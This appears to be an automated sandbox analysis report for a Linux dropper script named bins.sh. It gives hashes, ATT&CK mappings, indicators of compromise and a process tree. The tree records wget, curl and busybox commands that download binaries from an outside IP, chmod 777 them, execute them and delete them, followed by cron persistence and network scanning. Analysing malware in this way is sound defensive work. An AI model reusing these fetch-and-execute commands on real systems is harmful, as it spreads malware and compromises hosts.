e417d8ef5673d87d5b11f06ddab0035af5c4a77b3338ab5dc1a9500c7fd0bdba

Analysis

max time kernel
149s
max time network
152s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240611-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240611-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
21-11-2024 10:56

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General

Target

bins.sh
Size

10KB
MD5

d2d1ede0b3c7ba6a1e47da01f8fd982e
SHA1

36a1960017d2e69ad34ffcd58356cd98d806deab
SHA256

e417d8ef5673d87d5b11f06ddab0035af5c4a77b3338ab5dc1a9500c7fd0bdba
SHA512

8026c23c4a3243d724e6af46b6966aa34cbaa59e1e684bb770013f07594f370e49a35d1b440eda48e49948b30cf7c6e0abc84083a31305d4acb7d84906043f1e
SSDEEP

192:ugUL/nPKWF9aaG1p5KyCT3+8njd7al1p5KyOzgUR/nPKW6:c/nPKWF9aabT3+8h7aKz/nPKW6

Score

9^/10

defense_evasion discovery execution persistence privilege_escalatio

Malware Config

Signatures

Contacts a large (2003) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
File and Directory Permissions Modification 1 TTPs 4 IoCs
Adversaries may modify file or directory permissions to evade defenses.
defense_evasion

Linux and Mac File and Directory Permissions Modification
T1222.002

Processes:

chmodchmodchmodchmod

pid process

1514 chmod
1521 chmod
1492 chmod
1507 chmod

pid	process
1514	chmod
1521	chmod
1492	chmod
1507	chmod

Executes dropped EXE 4 IoCs

Processes:

Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsbyggi8YJ5tansDThG5yNTP7H9YCUo27WqnXVU45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

ioc	pid	process
/tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH	1493	Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
/tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby	1508	3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
/tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV	1515	ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
/tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T	1522	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

Renames itself 1 IoCs

Processes:

U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

pid process

1523 U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
Creates/modifies Cron job 1 TTPs 1 IoCs
Cron allows running tasks on a schedule, and is commonly used for malware persistence.
execution persistence privilege_escalatio

Cron
T1053.003

Processes:

crontab

description ioc process

File opened for modification /var/spool/cron/crontabs/tmp.KBnKbT crontab
Enumerates running processes
Discovers information about currently running processes on the system

pid	process
1523	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

description	ioc	process
File opened for modification	/var/spool/cron/crontabs/tmp.KBnKbT	crontab

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

Processes:

U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

description	ioc	process
File opened for reading	/proc/1791/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/699/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/861/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1686/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1750/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1782/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/154/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1592/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1745/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/11/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1551/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1670/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1063/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1480/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1184/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1664/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1757/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1797/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/27/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/89/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1170/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/14/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1143/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/457/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1558/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1544/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1550/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1803/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/98/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1546/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/15/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1589/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1716/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1790/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/960/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1722/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1601/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1689/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1711/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1630/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1158/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1159/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1294/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/460/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1548/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1772/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/157/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1598/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1665/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1736/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1783/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/649/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1561/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1595/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1717/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1719/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1721/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1739/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/481/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/620/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1596/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1363/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1789/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
File opened for reading	/proc/1113/cmdline	U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

System Network Configuration Discovery 1 TTPs 1 IoCs
Adversaries may gather information about the network configuration of a system.
discovery

System Network Configuration Discovery
T1016

Processes:

wget

pid process

1532 wget

pid	process
1532	wget

Writes file to tmp directory 12 IoCs

Malware often drops required files in the /tmp directory.

Processes:

busyboxwgetwgetcurlbusyboxwgetcurlcurlbusyboxwgetcurlbusybox

description	ioc	process
File opened for modification	/tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH	busybox
File opened for modification	/tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby	wget
File opened for modification	/tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T	wget
File opened for modification	/tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T	curl
File opened for modification	/tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T	busybox
File opened for modification	/tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH	wget
File opened for modification	/tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH	curl
File opened for modification	/tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby	curl
File opened for modification	/tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby	busybox
File opened for modification	/tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV	wget
File opened for modification	/tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV	curl
File opened for modification	/tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV	busybox

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:1473
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:1474
- /usr/bin/wget
  wget http://216.126.231.240/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - Writes file to tmp directory
  PID:1475
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - Writes file to tmp directory
  PID:1490
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - Writes file to tmp directory
  PID:1491
- /bin/chmod
  chmod 777 Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - File and Directory Permissions Modification
  PID:1492
- /tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  ./Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  - Executes dropped EXE
  PID:1493
- /bin/rm
  rm Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH
  2⤵
  PID:1495
- /usr/bin/wget
  wget http://216.126.231.240/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  - Writes file to tmp directory
  PID:1496
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  - Writes file to tmp directory
  PID:1505
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  - Writes file to tmp directory
  PID:1506
- /bin/chmod
  chmod 777 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  - File and Directory Permissions Modification
  PID:1507
- /tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  ./3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  - Executes dropped EXE
  PID:1508
- /bin/rm
  rm 3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby
  2⤵
  PID:1510
- /usr/bin/wget
  wget http://216.126.231.240/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  - Writes file to tmp directory
  PID:1511
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  - Writes file to tmp directory
  PID:1512
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  - Writes file to tmp directory
  PID:1513
- /bin/chmod
  chmod 777 ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  - File and Directory Permissions Modification
  PID:1514
- /tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  ./ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  - Executes dropped EXE
  PID:1515
- /bin/rm
  rm ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV
  2⤵
  PID:1517
- /usr/bin/wget
  wget http://216.126.231.240/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  - Writes file to tmp directory
  PID:1518
- /usr/bin/curl
  curl -O http://216.126.231.240/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  - Writes file to tmp directory
  PID:1519
- /bin/busybox
  /bin/busybox wget http://216.126.231.240/bins/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  - Writes file to tmp directory
  PID:1520
- /bin/chmod
  chmod 777 U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  - File and Directory Permissions Modification
  PID:1521
- /tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  ./U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  - Executes dropped EXE
  - Renames itself
  - Reads runtime system information
  PID:1522
- - /bin/sh
    sh -c "crontab -l"
    3⤵
    PID:1524
  - - /usr/bin/crontab
      crontab -l
      4⤵
      PID:1525
- - /bin/sh
    sh -c "crontab -"
    3⤵
    PID:1526
  - - /usr/bin/crontab
      crontab -
      4⤵
      Creates/modifies Cron job
      PID:1527
- /bin/rm
  rm U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T
  2⤵
  PID:1529
- /usr/bin/wget
  wget http://216.126.231.240/bins/egiptpRqNDCnEQ9YdAN5fxXGv8jkEQ05og
  2⤵
  - System Network Configuration Discovery
  PID:1532

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Scheduled Task/Job

T1053

Cron

T1053.003

Persistence

Scheduled Task/Job

T1053

Cron

T1053.003

Privilege Escalation

Scheduled Task/Job

T1053

Cron

T1053.003

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/3yb5zbu6YTXPCtjWcaitOxtMWOV9GkBsby

Filesize
111KB

MD5
ca897a38f23ec23521ce0b1b83f8422d

SHA1
b8d2ab335346aba9a72bae0fe3533aca1ab7b66a

SHA256
043df61baf17d6a2353b418c5f87eebea4ca1c3fd6b63eaccc34d9bcd0556832

SHA512
10d3026b43167121b62786dde231a04e25eb27905989f59a92b5eba92134e30cea554a73e419d3a505e650ee4c474ee407103df335cd84bd8c0f3428ccc16feb

Download Submit
/tmp/Q6q2dbdYHJ2nWHtbutuv1pF7dIWx1uIDOH

Filesize
111KB

MD5
701e7a55a4f3650f5feee92a9860e5fc

SHA1
6ce4a7f0dc80fe557a0ace4de25e6305af221ed4

SHA256
ff851250b0bd7e6f2c445b08d858d840b554caf75a37ada2a970ea4d317ba588

SHA512
7352517b4af3b0cfe1cc814accf18e6254532f33dee274279bd499b6748aa0ed044c9429d6df0eb07ff0292cd0f9388ce44d278e0c562e6e57110b28a66a5f11

Download Submit
/tmp/U45E7zB0Vw9XYLMCfGeUg9uDjcuSApvz9T

Filesize
112KB

MD5
05d7857dcead18bbd86d2935f591873c

SHA1
34d18f41ef35f93d5364ce3e24d74730a4e91985

SHA256
2cb1fa4742268fb0196613aee7a39a08a0707b3ef8853280d5060c44f3650d70

SHA512
d1793861067758a064ac1d59c80c78f9cb4b64dd680ab4a62dd050156dc0318dde590c7b44c1184c9ee926f73c3fc242662e42645faab6685ecef9d238d2e53e

Download Submit
/tmp/ggi8YJ5tansDThG5yNTP7H9YCUo27WqnXV

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/var/spool/cron/crontabs/tmp.KBnKbT

Filesize
210B

MD5
b4e4a16dc666b137660cf3834f66f5e9

SHA1
594a948bfcd265a95c999dc34a68ef32aaa17fd0

SHA256
be111aaa57c70514e51fa1aa090ed710d8a4a5221dfbb2ca1c0e5e658ef79f6e

SHA512
78580f04d532e630b9114c69e475334ec1e24d6ba505f8e7f1a76a5029f8b644bb8e3ca242368b1815b92cc88c45fb856b31c68bd8c2772001134dd4cd13a390

Download Submit